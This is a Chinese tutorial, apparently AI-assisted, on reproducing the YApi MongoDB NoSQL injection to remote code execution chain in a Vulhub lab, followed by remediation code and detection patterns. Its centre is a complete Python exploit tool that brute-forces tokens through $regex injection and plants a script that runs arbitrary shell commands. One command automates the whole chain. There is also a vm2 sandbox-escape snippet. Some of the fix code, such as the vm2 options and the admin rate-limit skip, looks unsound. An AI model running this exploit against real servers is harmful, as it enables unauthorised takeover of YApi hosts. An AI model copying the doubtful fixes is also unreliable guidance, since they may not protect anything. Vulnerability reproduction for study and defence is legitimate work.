手把手教你用Vulhub复现yapi mongodb-inj漏洞(附完整POC)

0 阅读12分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析

YApi 在 1.12.0 之前版本存在一处 NoSQL 注入漏洞,这个漏洞允许未经鉴权的攻击者向某些开放 API 端点提交恶意 JSON 查询,使得 用户 token 查询逻辑被绕过/篡改,从而获取敏感信息(如有效 token、用户 ID、项目 ID 等),并可进一步触发后续逻辑执行任意脚本或命令。这一链路从注入到 RCE 的核心是由于 MongoDB 查询条件未正确验证、将攻击者传入的 JSON 直接用于构造数据库查询,导致数据泄露和功能滥用。 简要漏洞原理:

  1. 受影响版本未对 token 字段 / 查询条件参数进行类型或内容验证。
  2. 攻击者发送带有 $regex$gt/$ne 等 MongoDB 操作符的 JSON 搜索条件。
  3. 这些条件被拼接到数据库查询中,导致数据库返回不应暴露的数据(如任意用户 token)。
  4. 攻击者使用这些 token 访问内部自动化测试/脚本触发 API(如 runAutoTest),并利用 Node.js 沙箱逃逸触发系统命令执行。

MongoDB 注入与传统 SQL 注入不同,它通常利用 NoSQL 运算符(如 $gt, $ne, $regex 来改变查询逻辑。

  • 注入点:YApi 的某些接口(如 /api/group/get 或 Mock 规则解析)接受 JSON 格式的输入。
  • 逻辑缺陷:后端代码直接将用户传入的 JSON 对象(而非简单的字符串)作为查询条件传递给 mongoosemongodb 驱动。
  • 运算符操纵:攻击者通过传入 {"$ne": null}{"$regex": "^admin"},使原本查询“等于某个特定 ID”的逻辑变为了“不等于空”或“匹配正则”,从而获取非预期的敏感数据。

攻击流程图(简化版)

graph TD
    A[攻击者<br>匿名/低权限访问] --> B[定位存在注入的接口]
    B --> C[用户检索或分组信息获取接口]
    C --> D[构造JSON Payload]
    
    subgraph "NoSQL注入阶段"
        D --> E[将username字段改为对象]
        E --> F["注入MongoDB运算符<br>如: {&quot;$ne&quot;: null}"]
        F --> G[发送恶意请求]
        G --> H[MongoDB驱动解析]
        H --> I[对象被解释为查询操作符]
        I --> J[执行越权查询]
        J --> K[绕过正常查询条件]
    end
    
    subgraph "敏感信息泄露"
        K --> L[返回管理员用户数据]
        L --> M[获取管理员加密密码]
        L --> N[获取管理员访问Token]
        L --> O[获取其他用户敏感信息]
    end
    
    subgraph "权限提升阶段"
        N --> P[使用管理员Token登录后台]
        P --> Q[获得完全管理员权限]
    end
    
    subgraph "远程代码执行"
        Q --> R[访问Mock脚本功能]
        R --> S[利用vm2沙箱逃逸]
        S --> T[执行任意系统命令]
        T --> U[完全控制系统]
    end
    
    style C fill:#ffcccc,stroke:#333
    style F fill:#ff9999,stroke:#333,stroke-width:2px
    style I fill:#ff6666,stroke:#333,stroke-width:2px
    style K fill:#ff3333,stroke:#333,stroke-width:3px
    style N fill:#cc0000,stroke:#333,stroke-width:2px
    style S fill:#990000,stroke:#333,stroke-width:3px
    style U fill:#660000,stroke:#333,stroke-width:3px

详细攻击流程(文本描述版)

阶段1: 接口发现与探测
┌─────────────────────────────────────────────┐
│ 1. 攻击者匿名访问应用                       │
│ 2. 寻找用户相关API接口                       │
│ 3. 测试参数注入点                           │
│ 4. 识别返回JSON数据的接口                   │
└─────────────────────────────────────────────┘

阶段2: NoSQL注入利用
┌─────────────────────────────────────────────┐
│ 5. 构造恶意JSON请求                         │
│    - 原始: {username: "test"}               │
│    - 注入: {username: {$ne: null}}         │
│ 6. 发送到目标API                            │
│ 7. MongoDB驱动解析对象                      │
│ 8. 执行越权查询返回所有用户                 │
└─────────────────────────────────────────────┘

阶段3: 敏感数据提取
┌─────────────────────────────────────────────┐
│ 9. 提取管理员记录                           │
│ 10. 获取访问令牌                           │
│ 11. 获取密码哈希                           │
│ 12. 获取其他敏感信息                       │
└─────────────────────────────────────────────┘

阶段4: 后台访问
┌─────────────────────────────────────────────┐
│ 13. 使用Token访问管理后台                   │
│ 14. 绕过登录验证                           │
│ 15. 获得管理员控制台                       │
│ 16. 发现Mock脚本功能                       │
└─────────────────────────────────────────────┘

阶段5: vm2沙箱逃逸
┌─────────────────────────────────────────────┐
│ 17. 访问Mock脚本功能                       │
│ 18. 执行恶意JavaScript代码                 │
│ 19. 利用vm2漏洞逃逸沙箱                   │
│ 20. 执行系统命令                           │
│ 21. 获得系统完全控制                       │
└─────────────────────────────────────────────┘

漏洞原理示意图

NoSQL注入原理


正常查询流程:
前端发送: { "username": "admin" }
后端构建: db.users.find({username: "admin"})
返回: 仅admin用户记录

注入攻击流程:
前端发送: { "username": { "$ne": null } }
后端构建: db.users.find({username: {$ne: null}})
返回: 所有用户记录

其他注入运算符示例:
1. 正则绕过: { "username": { "$regex": ".*" } }
2. 逻辑运算: { "$or": [{ "username": "admin" }, { "username": "root" }] }
3. 数组操作: { "username": { "$in": ["admin", "root"] } }
4. 存在判断: { "username": { "$exists": true } }

vm2沙箱逃逸原理


vm2沙箱设计:
- 隔离的JavaScript执行环境
- 限制访问Node.js全局对象
- 白名单机制控制模块访问

逃逸漏洞点:
1. 原型链污染
2. 上下文逃逸
3. 模块系统绕过
4. 异步回调逃逸

示例逃逸代码:
const {VM} = require('vm2');
const vm = new VM();

// 恶意代码利用漏洞逃逸
const escapeCode = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => '', {
      apply(target, thiz, args) {
        const process = args.constructor.constructor('return process')();
        return process.mainModule.require('child_process').execSync('id').toString();
      }
    })
  };
  try {
    err.stack;
  } catch (e) {
    return e;
  }
`;

console.log(vm.run(escapeCode));

DFD(数据流图 + STRIDE)

[External Attacker]
    |
    | (1) Malicious JSON payload to open API
    v
[YApi API Handler]
    |
    | (2) NoSQL Injection point
    v
[MongoDB]
    |
    | (3) Data leak (token/info)
    v
[Attacker uses token to access script API]
    |
    | (4) Script execution
    v
[OS / VM sandbox escapeRCE]


STRIDE 分析(关键风险)

威胁类别是否说明
Spoofing⚠️通过 token 伪造用户身份
Tampering注入 DB 查询篡改逻辑
Repudiation⚠️攻击难追踪
Info Disclosuretoken & sensitive info 泄露
DoS⚠️可触发异常逻辑阻断
Elevation of Privilege最终触发 RCE

漏洞复现原理图示说明

sequenceDiagram
    participant Attacker as 攻击者
    participant App as Web应用
    participant Server as 后端服务器
    participant MongoDB as MongoDB数据库
    participant Auth as 认证系统
    participant VM2 as vm2沙箱环境
    participant OS as 操作系统
    
    Attacker->>App: 1. 匿名访问用户搜索接口
    App->>Server: 2. 转发请求
    Server->>Server: 3. 解析JSON请求体
    
    Note over Attacker: 第一阶段: NoSQL注入
    
    Attacker->>App: 4. 发送恶意JSON<br>{username: {"$ne": null}}
    App->>Server: 5. 转发注入请求
    Server->>MongoDB: 6. 查询: db.users.find({username: {$ne: null}})
    MongoDB->>Server: 7. 返回所有用户数据
    Server->>App: 8. 返回JSON响应
    App->>Attacker: 9. 包含管理员Token的响应
    
    Note over Attacker: 第二阶段: 使用Token访问后台
    
    Attacker->>App: 10. 使用管理员Token访问后台
    App->>Auth: 11. 验证Token有效性
    Auth->>App: 12. Token验证通过
    App->>Attacker: 13. 授予管理员访问权限
    
    Note over Attacker: 第三阶段: vm2沙箱逃逸RCE
    
    Attacker->>App: 14. 访问Mock脚本功能
    App->>VM2: 15. 在沙箱中执行用户代码
    Attacker->>App: 16. 发送恶意vm2逃逸代码
    App->>VM2: 17. 执行逃逸代码
    VM2->>VM2: 18. 突破沙箱限制
    VM2->>OS: 19. 执行系统命令
    OS->>VM2: 20. 返回命令结果
    VM2->>App: 21. 返回执行结果
    App->>Attacker: 22. 显示命令输出
    
    Note over Attacker: 攻击者获得系统完全控制

如下示意说明 YApi 的典型 NoSQL 注入链:

User Input:
  GET /api/project/get?token[regex]=^<prefix>
              |
              V
YApi base.js unvalidated usage:
  db.collection.find({token: {"$regex": "^<prefix>"} })
              |
              V
Database returns any matching token
              |
              V
Attacker obtains valid token
              |
              V
Use token to call open test API:
  POST /api/open/run_auto_test?token=<stolen>
              |
              V
Internal VM execute test script
              |
              V
Sandbox escape → system command executed


漏洞原理代码图示

复现的核心在于将普通标量输入替换为对象操作符典型复现 Payload:

POST /api/user/login HTTP/1.1
Content-Type: application/json

{
    "email": {"$ne": "any-non-existent-email@test.com"},
    "password": {"$gt": ""}
}
  • 原理:如果后端直接使用 db.collection('user').findOne({email: data.email, password: data.password}),上述 Payload 会使查询变为:“寻找一个邮箱不等于某值且密码大于空的第一个用户”。这通常会返回数据库中的第一个用户(通常是管理员)。

NoSQL注入过程


// 正常查询
const query = { username: "admin" };
// MongoDB执行: db.users.find({username: "admin"})

// 注入攻击
const maliciousQuery = { username: { $ne: null } };
// MongoDB执行: db.users.find({username: {$ne: null}})
// 返回所有用户记录

// 其他攻击载荷:
// 1. { username: { $regex: ".*" } }
// 2. { $or: [{username: "admin"}, {username: "root"}] }
// 3. { username: { $exists: true } }

vm2沙箱逃逸示例


// vm2沙箱逃逸漏洞利用
const { VM } = require('vm2');
const vm = new VM();

const exploitCode = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => '', {
      apply(target, thiz, args) {
        const process = args.constructor.constructor('return process')();
        return process.mainModule.require('child_process')
          .execSync('id').toString();
      }
    })
  };
  try {
    err.stack;
  } catch (e) {
    return e;
  }
`;

// 执行逃逸代码
const result = vm.run(exploitCode);
console.log('命令输出:', result);

漏洞复现

Snipaste_2026-02-05_15-57-56.png

import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin

logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''


def compute(passphase: str):
    nkey = 24
    niv = 16
    key = ''
    iv = ''
    p = ''

    while True:
        h = hashlib.md5()
        h.update(binascii.unhexlify(p))
        h.update(passphase.encode())
        p = h.hexdigest()

        i = 0
        n = min(len(p) - i, 2 * nkey)
        nkey -= n // 2
        key += p[i:i + n]
        i += n
        n = min(len(p) - i, 2 * niv)
        niv -= n // 2
        iv += p[i:i + n]
        i += n

        if nkey + niv == 0:
            return binascii.unhexlify(key), binascii.unhexlify(iv)


def aes_encode(data):
    key, iv = compute('abcde')
    padder = padding.PKCS7(128).padder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encryptor = cipher.encryptor()
    ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
    return binascii.hexlify(ct).decode()


def aes_decode(data):
    key, iv = compute('abcde')
    unpadder = padding.PKCS7(128).unpadder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
    ct = unpadder.update(ct) + unpadder.finalize()
    return ct.decode().strip()


def brute_token(target, already):
    url = urljoin(target, '/api/interface/up')
    current = '^'
    for i in range(20):
        for ch in choices:
            guess = current + ch
            data = {
                'id': -1,
                'token': {
                    '$regex': guess,
                    '$nin': already
                }
            }
            headers = {
                'Content-Type': 'application/json'
            }
            response = requests.post(url,
                                     data=json.dumps(data),
                                     headers=headers,
                                     # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                     # verify=False,
                                     )
            res = response.json()

            if res['errcode'] == 400:
                current = guess
                break

        logger.debug(f'current cuess: {current}')

    return current[1:]


def find_owner_uid(target, token):
    url = urljoin(target, '/api/project/get')
    for i in range(1, 200):
        params = {'token': aes_encode(f'{i}|{token}')}
        response = requests.get(url, params=params,
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )
        data = response.json()
        if data['errcode'] == 0:
            return i

    return None


def find_project(target, token, pid=None):
    url = urljoin(target, '/api/project/get')
    params = {'token': token}
    if pid:
        params['id'] = pid

    response = requests.get(url,
                            params=params,
                            #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            #verify=False,
                            )
    data = response.json()

    if data['errcode'] == 0:
        return data['data']


def find_col(target, token, brute_from, brute_to):
    url = urljoin(target, '/api/open/run_auto_test')

    for i in range(brute_from, brute_to):
        try:
            params = {'token': token, 'id': i, "mode": "json"}
            response = requests.get(url,
                                    params=params,
                                    timeout=5,
                                    #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                    #verify=False,
                                    )

            data = response.json()
            if 'message' not in data:
                continue

            if data['message']['len'] > 0:
                logger.debug('Test Result Found: %r', response.url)
                yield i
        except requests.exceptions.Timeout:
            logger.debug('id=%d timeout', i)
            pass


def update_project(target, token, project_id, command):
    url = urljoin(target, '/api/project/up')

    command_hex = command.encode().hex()
    script = script_template % command_hex
    response = requests.post(url,
                             params={'token': token},
                             json={'id': project_id, 'after_script': script},
                             # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                             # verify=False,
                             )
    data = response.json()
    return data['errcode'] == 0


def run_auto_test(target, token, col_id):
    url = urljoin(target, '/api/open/run_auto_test')

    response = requests.get(url, 
                            params={'token': token, 'id': col_id, 'mode': 'json'},
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )

    try:
        data = response.json()
        return data['list'][0]['res_body'][8:-8]
    except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
        g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
        if g:
            return g.group(1).decode()
        else:
            return None


def clear_project(target, token, project_id, old_after_script):
    url = urljoin(target, '/api/project/up')
    response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
    data = response.json()
    return data['errcode'] == 0


@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
    if debug:
        logger.setLevel('DEBUG')


@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
    click.echo(aes_encode(data))


@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
    click.echo(aes_decode(data))


@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            break

        click.echo(f'find a valid token: {token}')
        already.append(token)


@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
    aid = find_owner_uid(url, token)
    e = aes_encode(f'{aid}|{token}')
    click.echo(f'your owner id is: {aid}, encrypted token is {e}')


@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token)
    if project:
        logger.info('[+] project by this token: %r', project)
        click.echo(f'your project id is: {project["_id"]}')


@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
    token = aes_encode(f'{owner}|{token}')
    for i in find_col(url, token, brute_from, brute_to):
        click.echo(f'found a valid col id: {i}')


@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token, project_id)
    if not project:
        click.echo('[-] failed to get project')
        return False

    old_after_script = project.get('after_script', '')
    if not update_project(url, token, project_id, command):
        click.echo('[-] failed to update project')
        return False

    output = run_auto_test(url, token, col_id)
    if output:
        click.echo(output)
        clear_project(url, token, project_id, old_after_script)
        return True

    clear_project(url, token, project_id, old_after_script)
    return False


@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            logger.info('[-] no new token found, exit...')
            break

        already.append(token)
        logger.info('[+] find a new token: %s', token)
        owner_id = find_owner_uid(url, token)
        if not owner_id:
            logger.info('[-] failed to find the owner id using token %s', token)
            continue

        etoken = aes_encode(f'{owner_id}|{token}')
        logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
        project = find_project(url, etoken)
        if not project:
            logger.info('[-] failed to find project using token %s', token)
            continue

        project_id = project['_id']
        logger.info('[+] project_id = %s, project = %r', project_id, project)
        col_ids = find_col(url, etoken, 1, 200)
        if not col_ids:
            logger.info('[+] failed to find cols in project %s, try next project...', project_id)

        for col_id in col_ids:
            logger.info('[+] col_id = %s', col_id)
            click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
            click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')

            if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
                return


if __name__ == '__main__':
    cli()

运行命令 python yapi.py --debug one4all -u http://192.168.0.32:3000/

Snipaste_2026-02-05_16-11-58.png

修复建议

  1. 输入强制类型转换:确保接收到的参数是 String 类型,禁止对象传入。
  2. 禁用敏感操作符:在应用层或数据库连接层(如 mongo-sanitize)过滤以 $ 开头的键名。
  3. 升级 YApi:升级到最新正式版本,官方已针对 Mock 脚本和查询接口加强了安全控制。
  4. 沙箱隔离:如果必须使用 Mock 脚本,应确保 Node.js 运行在受限的沙箱环境或 Docker 容器中。

伪代码级修复示例

修复的重点在于:在将用户输入传递给数据库驱动前进行严格的类型断言和非法字符清理。 ❌ 漏洞代码(直接透传)

// 危险逻辑:用户可以直接控制查询对象
router.post('/get_user', async (ctx) => {
    const { email } = ctx.request.body;
    // 如果 email 是 {"$ne": null},这里将返回所有用户
    const user = await userModel.findOne({ email: email }); 
    ctx.body = user;
});

✅ 修复后代码(严格类型检查 + 清理)

const sanitize = require('mongo-sanitize');

router.post('/get_user', async (ctx) => {
    let { email } = ctx.request.body;

    // 修复 1:使用 mongo-sanitize 移除所有以 $ 开头的键
    // 这会将 {"$ne": "val"} 转换为 "val"
    email = sanitize(email);

    // 修复 2:强制类型检查(Type Asserting)
    // 即使通过了 sanitize,如果预期是字符串,则必须强制转换为字符串
    if (typeof email !== 'string') {
        ctx.status = 400;
        ctx.body = { error: "Invalid Input Type" };
        return;
    }

    // 修复 3:使用参数化风格查询(针对 Mongoose)
    const user = await userModel.findOne({ email: String(email) });
    ctx.body = user;
});

修复方案1:NoSQL注入防护


// 修复前:直接使用用户输入构建查询
app.post('/api/users/find', async (req, res) => {
    const { username } = req.body;
    // 漏洞:直接使用用户输入
    const query = { username };
    const users = await db.collection('users').find(query).toArray();
    res.json({ users });
});

// 修复后:输入验证和清理
app.post('/api/users/find', async (req, res) => {
    const { username } = req.body;
    
    // 1. 类型检查:确保username是字符串
    if (typeof username !== 'string') {
        return res.status(400).json({ error: 'Username must be a string' });
    }
    
    // 2. 输入验证:白名单验证
    if (!/^[a-zA-Z0-9_@.\-]{3,50}$/.test(username)) {
        return res.status(400).json({ error: 'Invalid username format' });
    }
    
    // 3. 参数化查询
    const query = { username: username };
    const users = await db.collection('users').find(query).toArray();
    
    // 4. 返回数据脱敏
    const sanitizedUsers = users.map(user => ({
        id: user._id,
        username: user.username,
        // 不返回密码和token等敏感信息
    }));
    
    res.json({ users: sanitizedUsers });
});

// 通用MongoDB查询安全函数
function sanitizeMongoQuery(input) {
    if (typeof input === 'string') {
        // 字符串类型直接返回
        return input;
    } else if (typeof input === 'object' && input !== null) {
        // 对象类型:检查是否包含MongoDB操作符
        const disallowedOperators = [
            '$where', '$expr', '$function', '$accumulator',
            '$ne', '$regex', '$text', '$exists',
            '$or', '$and', '$nor', '$not',
            '$in', '$nin', '$all', '$elemMatch',
            '$size', '$type', '$mod', '$bitsAllSet',
            '$bitsAnySet', '$bitsAllClear', '$bitsAnyClear'
        ];
        
        for (const key in input) {
            if (disallowedOperators.includes(key)) {
                throw new Error(`Disallowed MongoDB operator: ${key}`);
            }
            // 递归清理嵌套对象
            input[key] = sanitizeMongoQuery(input[key]);
        }
        return input;
    }
    return input;
}

修复方案2:vm2沙箱安全配置


// 安全配置vm2沙箱
const {VM, VMScript} = require('vm2');

// 安全沙箱配置
const createSecureVM = () => {
    return new VM({
        timeout: 1000, // 1秒超时
        sandbox: {}, // 空沙箱
        eval: false, // 禁用eval
        wasm: false, // 禁用WebAssembly
        fixAsync: true, // 修复异步函数
        
        // 编译器缓存,防止原型污染
        compilerCache: new Map(),
        
        // 严格模式
        strict: true,
        
        // 允许的模块白名单
        require: {
            external: false, // 禁用外部模块
            builtin: ['buffer', 'util'], // 只允许特定内置模块
            root: './',
            
            // 自定义require拦截器
            resolve: (moduleName, dirname) => {
                const allowedModules = ['buffer', 'util', 'path'];
                if (!allowedModules.includes(moduleName)) {
                    throw new Error(`Module ${moduleName} is not allowed`);
                }
                return require.resolve(moduleName);
            },
            
            // 自定义模块加载器
            context: 'sandbox'
        }
    });
};

// 安全执行用户代码
function executeUserCodeSafely(userCode) {
    const vm = createSecureVM();
    
    // 额外的安全包装
    const wrappedCode = `
        (function() {
            'use strict';
            
            // 禁用危险全局对象
            delete this.constructor;
            delete this.__proto__;
            delete this.import;
            
            // 限制访问
            const safeGlobal = Object.create(null);
            
            // 执行用户代码
            ${userCode}
        }).call(Object.create(null));
    `;
    
    try {
        const result = vm.run(wrappedCode);
        return { success: true, result };
    } catch (error) {
        // 记录安全事件
        logSecurityEvent('vm2_execution_error', {
            error: error.message,
            codeSnippet: userCode.substring(0, 100)
        });
        return { success: false, error: error.message };
    }
}

// 使用示例
app.post('/api/mock-scripts/execute', async (req, res) => {
    const { code } = req.body;
    
    // 验证用户权限
    if (!req.user.isAdmin) {
        return res.status(403).json({ error: 'Admin access required' });
    }
    
    // 输入验证
    if (typeof code !== 'string' || code.length > 1000) {
        return res.status(400).json({ error: 'Invalid code' });
    }
    
    // 检查危险模式
    const dangerousPatterns = [
        /process\.mainModule/,
        /require\s*\(/,
        /child_process/,
        /execSync/,
        /eval\s*\(/,
        /Function\s*\(/,
        /constructor\.constructor/
    ];
    
    for (const pattern of dangerousPatterns) {
        if (pattern.test(code)) {
            logSecurityEvent('dangerous_code_pattern', { pattern: pattern.source });
            return res.status(400).json({ error: 'Dangerous code pattern detected' });
        }
    }
    
    // 安全执行
    const result = executeUserCodeSafely(code);
    
    if (result.success) {
        res.json({ output: result.result });
    } else {
        res.status(500).json({ error: result.error });
    }
});

修复方案3:访问令牌安全


// JWT令牌安全配置
const jwt = require('jsonwebtoken');
const crypto = require('crypto');

// 增强的JWT配置
const JWT_CONFIG = {
    algorithm: 'RS256', // 使用非对称加密
    expiresIn: '1h', // 短期令牌
    issuer: 'myapp',
    audience: 'myapp-client'
};

// 生成安全的访问令牌
function generateSecureToken(user) {
    const payload = {
        sub: user.id,
        username: user.username,
        role: user.role,
        // 不包含敏感信息
    };
    
    // 添加随机jti防止重放
    const jti = crypto.randomBytes(16).toString('hex');
    
    // 使用私钥签名
    const privateKey = process.env.JWT_PRIVATE_KEY;
    return jwt.sign({ ...payload, jti }, privateKey, JWT_CONFIG);
}

// 验证令牌中间件
const authenticateToken = async (req, res, next) => {
    const authHeader = req.headers['authorization'];
    const token = authHeader && authHeader.split(' ')[1];
    
    if (!token) {
        return res.status(401).json({ error: 'Access token required' });
    }
    
    try {
        // 验证签名
        const publicKey = process.env.JWT_PUBLIC_KEY;
        const decoded = jwt.verify(token, publicKey, JWT_CONFIG);
        
        // 检查令牌是否在吊销列表中
        const isRevoked = await checkTokenRevocation(decoded.jti);
        if (isRevoked) {
            return res.status(401).json({ error: 'Token revoked' });
        }
        
        // 检查用户权限
        const user = await getUserById(decoded.sub);
        if (!user || !user.isActive) {
            return res.status(403).json({ error: 'User not authorized' });
        }
        
        // 检查角色权限
        if (req.requiresAdmin && user.role !== 'admin') {
            return res.status(403).json({ error: 'Admin access required' });
        }
        
        // 设置请求用户
        req.user = user;
        next();
    } catch (error) {
        // 记录安全事件
        logSecurityEvent('token_verification_failed', {
            error: error.message,
            token: token.substring(0, 20)
        });
        
        if (error.name === 'TokenExpiredError') {
            return res.status(401).json({ error: 'Token expired' });
        }
        return res.status(403).json({ error: 'Invalid token' });
    }
};
// 使用示例
app.get('/api/admin/config', authenticateToken, (req, res) => {
    // 额外检查:确保是管理员
    if (req.user.role !== 'admin') {
        return res.status(403).json({ error: 'Admin access required' });
    }
    
    // 返回管理员配置
    res.json({ config: getAdminConfig() });
});

修复方案4:应用安全加固


// 综合安全中间件
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
const mongoSanitize = require('express-mongo-sanitize');
const xss = require('xss-clean');

// 安全头设置
app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'unsafe-inline'"],
            styleSrc: ["'self'", "'unsafe-inline'"],
            imgSrc: ["'self'", "data:", "https:"],
            connectSrc: ["'self'"],
            fontSrc: ["'self'"],
            objectSrc: ["'none'"],
            mediaSrc: ["'self'"],
            frameSrc: ["'none'"],
        },
    },
    hsts: {
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true
    },
    noSniff: true,
    referrerPolicy: { policy: 'strict-origin-when-cross-origin' }
}));

// 速率限制
const apiLimiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15分钟
    max: 100, // 每个IP限制100个请求
    message: 'Too many requests from this IP, please try again later.',
    standardHeaders: true,
    legacyHeaders: false,
});

app.use('/api/', apiLimiter);

// 更严格的管理员端点限制
const adminLimiter = rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 30,
    message: 'Too many admin requests, please try again later.',
    skip: (req) => {
        // 根据用户角色跳过限制
        return req.user && req.user.role === 'admin';
    }
});

app.use('/api/admin/', adminLimiter);

// NoSQL注入防护
app.use(mongoSanitize({
    replaceWith: '_',
    onSanitize: ({ req, key }) => {
        logSecurityEvent('nosql_injection_attempt', {
            key,
            value: req.body[key],
            ip: req.ip
        });
    }
}));

// XSS防护
app.use(xss());

// JSON解析安全配置
app.use(express.json({
    limit: '1mb', // 限制请求体大小
    verify: (req, res, buf, encoding) => {
        // 检查JSON是否包含危险模式
        try {
            const str = buf.toString(encoding || 'utf8');
            if (str.includes('$') && str.includes('{')) {
                // 检查可能的NoSQL注入
                const nosqlPatterns = [
                    /\$ne\s*:/,
                    /\$regex\s*:/,
                    /\$or\s*:/,
                    /\$and\s*:/,
                    /\$where\s*:/
                ];
                
                for (const pattern of nosqlPatterns) {
                    if (pattern.test(str)) {
                        logSecurityEvent('potential_nosql_injection', {
                            payload: str.substring(0, 200),
                            ip: req.ip
                        });
                        throw new Error('Potential NoSQL injection detected');
                    }
                }
            }
        } catch (error) {
            // 记录并拒绝请求
            logSecurityEvent('json_parsing_security_check_failed', {
                error: error.message,
                ip: req.ip
            });
            throw error;
        }
    }
}));

// 安全日志记录
function logSecurityEvent(eventType, details) {
    const logEntry = {
        timestamp: new Date().toISOString(),
        event: eventType,
        details: details,
        severity: getSeverityLevel(eventType)
    };
    
    // 写入安全日志
    console.log(`[SECURITY] ${JSON.stringify(logEntry)}`);
    
    // 发送到SIEM系统(可选)
    if (process.env.SIEM_ENDPOINT) {
        fetch(process.env.SIEM_ENDPOINT, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(logEntry)
        }).catch(() => {
            // 静默失败,不影响主流程
        });
    }
}

function getSeverityLevel(eventType) {
    const severityMap = {
        'nosql_injection_attempt': 'HIGH',
        'token_verification_failed': 'MEDIUM',
        'dangerous_code_pattern': 'CRITICAL',
        'vm2_execution_error': 'HIGH'
    };
    return severityMap[eventType] || 'LOW';
}

基于此漏洞的检测与防护规则

针对 MongoDB 注入,规则需要检测 JSON 内容中的操作符。

  • WAF 拦截特征:检查 POST Body 中是否存在 "$gt", "$ne", "$where", "$regex" 等字符串,且这些字符串作为 JSON 的 Key 出现。
  • 正则匹配示例/\$\w+/g (匹配所有以 $ 开头的键)。

WAF规则示例


# Nginx配置防护规则
http {
    # NoSQL注入检测
